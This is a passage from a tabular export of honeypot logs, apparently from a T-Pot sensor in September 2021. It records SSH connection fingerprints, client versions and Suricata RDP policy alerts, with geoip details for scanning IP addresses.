"chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59922, "dest_port": 22, "timestamp": "2021-09-20T11:06:49.253489", "@timestamp": "2021-09-20T11:06:49.253Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21645	117.22.230.94	109.199.241.180	Fatt	2021-09-20 14:06:49.425763+03	2021-09-20 14:15:03.925612+03	{"_id": "vgbjAnwBvYTbRNuEGgJ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "117.22.230.94", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2124, "dest_port": 22, "timestamp": "2021-09-20T11:06:49.425763", "@timestamp": "2021-09-20T11:06:49.425Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21646	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:06:49.426327+03	2021-09-20 14:15:03.926612+03	{"_id": "vwbjAnwBvYTbRNuEGgJ7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "9c373531ef77", "@version": "1", "timestamp": "2021-09-20T11:06:49.426327Z", "@timestamp": "2021-09-20T11:06:49.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21647	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:50.286576+03	2021-09-20 14:15:03.927613+03	{"_id": "0wbjAnwBvYTbRNuEHQIC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 2126463730529047, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56210, "dest_port": 22, "timestamp": "2021-09-20T11:06:50.286576Z", "@timestamp": "2021-09-20T11:06:50.286Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21648	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:50.246283+03	2021-09-20 14:15:03.928613+03	{"_id": "7QbjAnwBvYTbRNuEHgJm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:46072 (192.168.176.2:22) [session: 018cda16fdf7]", "session": "018cda16fdf7", "@version": "1", "protocol": "ssh", "src_port": 46072, "dest_port": 22, "timestamp": "2021-09-20T11:06:50.246283Z", "@timestamp": "2021-09-20T11:06:50.246Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21651	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:50.249333+03	2021-09-20 14:15:03.932613+03	{"_id": "9gbjAnwBvYTbRNuEHgJm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "018cda16fdf7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:50.249333Z", "@timestamp": "2021-09-20T11:06:50.249Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21652	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:50.422425+03	2021-09-20 14:15:03.933612+03	{"_id": "_AbjAnwBvYTbRNuEHgJq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:39932 (192.168.176.2:22) [session: 23fff7ddc752]", "session": "23fff7ddc752", "@version": "1", "protocol": "ssh", "src_port": 39932, "dest_port": 22, "timestamp": "2021-09-20T11:06:50.422425Z", "@timestamp": "2021-09-20T11:06:50.422Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21653	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:51.030259+03	2021-09-20 14:15:03.934613+03	{"_id": "3wbjAnwBvYTbRNuEHgJl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d59f041945d4", "@version": "1", "duration": 2.4858009815216064, "timestamp": "2021-09-20T11:06:51.030259Z", "@timestamp": "2021-09-20T11:06:51.030Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21654	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:50.865514+03	2021-09-20 14:15:03.936612+03	{"_id": "6wbjAnwBvYTbRNuEHgJm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "17afc4ffe90f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:50.865514Z", "@timestamp": "2021-09-20T11:06:50.865Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21655	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:50.903676+03	2021-09-20 14:15:03.937614+03	{"_id": "-QbjAnwBvYTbRNuEHgJm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d7c819b86e5f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:50.903676Z", "@timestamp": "2021-09-20T11:06:50.903Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21656	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:50.958236+03	2021-09-20 14:15:03.938613+03	{"_id": "-wbjAnwBvYTbRNuEHgJm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "19325238ed3b", "@version": "1", "timestamp": "2021-09-20T11:06:50.958236Z", "@timestamp": "2021-09-20T11:06:50.958Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21657	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:06:51.243932+03	2021-09-20 14:15:03.939613+03	{"_id": "EwbjAnwBvYTbRNuEIAPr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:06:50.923006+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2218985916077438, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 65261, "dest_port": 3389, "timestamp": "2021-09-20T11:06:51.243932Z", "@timestamp": "2021-09-20T11:06:51.243Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
21658	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:06:51.291475+03	2021-09-20 14:15:03.941613+03	{"_id": "FwbjAnwBvYTbRNuEIAPr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:06:50.923006+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 2218985916077438, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 65261, "timestamp": "2021-09-20T11:06:51.291475Z", "@timestamp": "2021-09-20T11:06:51.291Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
21659	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:06:51.243932+03	2021-09-20 14:15:03.942613+03	{"_id": "GQbjAnwBvYTbRNuEIAPs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:06:50.923006+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2218985916077438, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 65261, "dest_port": 3389, "timestamp": "2021-09-20T11:06:51.243932Z", "@timestamp": "2021-09-20T11:06:51.243Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
21660	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:06:51.625546+03	2021-09-20 14:15:03.943613+03	{"_id": "GgbjAnwBvYTbRNuEIAPs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:06:50.923006+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 2218985916077438, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": 